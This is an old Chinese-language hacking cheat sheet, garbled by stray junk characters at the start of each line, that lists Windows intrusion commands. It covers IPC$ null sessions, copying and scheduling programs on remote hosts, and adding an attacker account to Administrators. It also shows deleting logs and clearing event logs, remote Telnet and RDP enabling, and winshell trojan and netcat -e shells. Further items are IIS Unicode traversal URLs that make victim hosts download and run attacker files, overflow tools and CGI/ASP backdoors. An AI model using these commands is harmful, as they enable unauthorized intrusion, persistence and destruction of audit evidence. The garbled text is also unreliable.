网管和黑客都必须知道的命令
U"%8"G0) 常用的几条NET命令：
pxCGE[@` -?%{A%' （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
V %{ 9o *xZQG9`kt （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
&t.>^7ELF d9[6kQ] （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
0()9vTY+ Ro3I/NI> （查看远程主机时间） net time \\IP地址
VvM U) Tl/Dq(8JH （定时启动某个程序） at \\IP地址 02:18 readme.exe
bb
O;AiHD soQv?4 （查看共享） net view \\IP地址
93Ci$# <y qG2\` +v （查看netbios工作组列表） nbtstat -A IP地址
E3.W#=o 6Ymo %OT （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
V)?x*R*T) N?U&(@p （这两条把自己增加到管理员组）： net user 用户名 密码 /add
`M pC<sit 9%)& }KK| net localgroup Administrators 用户名 /add
@=<TA0;LL 6q
xUT （断开连接） net use \\IP地址\ipc$ /delete
oVuj020 xt<,
(4u 扫尾：
d=+Lv< /bNVg K`L5 del C:\winnt\system32\logfiles\*.*
0R %uVJG t-<[._: + del C:\winnt\ssytem32\config\*.evt
S }xDB (?&_6B.* del C:\winnt\system32\dtclog\*.*
["#A -S @x-GbK? del C:\winnt\system32\*.log
o7 -h'b- cnUU1Uz> del C:\winnt\system32\*.txt
Nh7!Ah ;uA_g n! del C:\winnt\*.txt
B,VSFpPx `bt)'ERO%# del C:\winnt\*.log
.+ JP tL e,j ? _p 一、netsvc.exe
L&gEQDPgq| G/RheH
G 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
<GFB'`L Bdk{.oh6 netsvc /list \\IP地址
E6 ^S2J2 ;~1/eF netsvc schedule \\IP地址 /query
@Ozf}}# M : Y!k<p netsvc \\IP地址 schedule /start
YT 03>!B %ucmJ-< y# 二、OpenTelnet.exe
# #+ 8GLQM *
SON>BSF 远程启动主机的Telnet服务，并绑定端口到7878，例如：
Kp=3\) & tL4]6u OpenTelnet \\IP地址 用户名 密码 1 7878
vM4 `u5 fdH'z:Xao 然后就可以telnet到主机的7878端口，进入DOS方式下：
v8fZ?dx ^%OH}Z `ly telnet IP地址 7878
K/.hJ 7rDR u ] 三、winshell.exe
r`E1<aCr| 4o a P"T@6 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
{ZIFj.2 Mp @(/ p Path （查看winshell主程序的路径信息）
hjp?/i%TQ y@8399;l b reBoot （重新启动机器）
FLn AN; uxJiec`& d shutDown （关闭机器）
*1$~CC7 +fQ$~vr{' s Shell （执行后你就会看到可爱的“C:\>”）
O>):^$-K% #pn AK x eXit （退出本次登录会话，此命令并不终止winshell的运行）
tIy/QN_42 2mp>Mn~K^ CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
bg3j o1J 7R`ZTfD 四、3389登陆器，GUI方式登录远程主机的
ORP l^n- 7 u3b aM 五、elsave.exe
]A<u eM AQNx% 事件日志清除工具
@U.}Ei m=l3O:~J elsave -s \\IP地址 -l "application" -C
tlxjs]{0E I EsD = elsave -s \\IP地址 -l "system" -C
e =Tc(Mwn (Gk]<`d#N elsave -s \\IP地址 -l "security" -C
G@I_6c E T^H ) lC#R 执行后成功清除应用程序日志，系统日志，安全日志
_nFvM'`< J1ro\" 六、hbulot.exe
1#_j6 Q2 )xy{[ K|M( 开启win2kserver和winxp的3389服务
Mw7UU1 ei Q+js2?7^ hbulot [/r]
cZ2,
u,4 }~,cCtg:o 使用/r表示安装完成后自动重起目标使设置生效。
ZC-evy G lc4g 七、nc.exe(netcat.exe)
Oy`\8*Uy__ =xWW+w!r 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
oW1olmpp= D~?*Xv]s ~ 想要连接到某处: nc [-options] hostname port[s] [ports] ...
ZZJ"Ny.2 YZtA:>;p 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
ZTz(NS
EK x3F L/^S 参数:
Us~wv"L=UX QS?9&+JM | -e prog 程序重定向，一旦连接，就执行 [危险!!]
/%'7sx[p
Y~ ?YA/.x -g gateway source-routing hop point[s], up to 8
(S 3kP5:F \yizIo.Y` -G num source-routing pointer: 4, 8, 12, ...
N<r0 I- X10TZ -h 帮助信息
['`'&+x&! ; Wm )e~`, -i secs 延时的间隔
` Z V'7| U5%]nT"[] -l 监听模式，用于入站连接
s+G9L)b' /*2W?ZM~H -n 指定数字的IP地址，不能用hostname
q$*_C kT | 2` $g -o file 记录16进制的传输
6 FxndR ; KFG^vmrn -p port 本地端口号
UdgI<a~`k6 Uy'ZL(2 -r 任意指定本地及远程端口
n/Z =q?_ WSc cR -s addr 本地源地址
1,D
^, X "59`Yh -u UDP模式
%31K*i/ ] eb woMG,B- -v 详细输出——用两个-v可得到更详细的内容
j`M<M[C*4N BnY|t2r -w secs timeout的时间
QN5N h s c `=h K* -z 将输入输出关掉——用于扫描时
U.} =j'Us+ 八、TFTPD32.EXE
v" TH[}C9D u<r('IW0 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
.5 r0% T1
.@Tbbt http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
-mdPqVIJn: `erQp0fBM 然后可以直接令文件运行：
Ek p
0.c8: Nxk' !: http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
"Z?":|%7 pl/$@K?L 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
g+F_M
Lh $ac-Ct 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
QZP;k!"w E 1[%~Cpw* 一、一 Xscan命令行运行参数说明：
3ZZI1_j KywT Oq 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
NT:>.~ah@& }i~ j"m 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
9jBr868 / '+JP4mK xscan -file <主机列表文件名> <检测项目> [其他选项]
5WG@ ;K% A Mfu|%ZL 其中<检测项目> 含义如下:
A |nU
_* -<. NEV -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
}+3~y 'k 1S@k=EKM -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
(G'ddZAJV ?E+XD'~ -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
;!Bkk9r"H !9Xe x?et -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
c67!OHu mP Qp Vm -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
Kwau:_B 2l%iXK[ [其他选项] 含义如下:
(ac RYv( q@>
m~R -v: 显示详细扫描进度
t')I c6.?i m> :ig\ -p: 跳过Ping不通的主机
nJw1Sl5 j
KK48 S -o: 跳过没有检测到开放端口的主机
^jC0S[csw2 YZD]<ptR -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
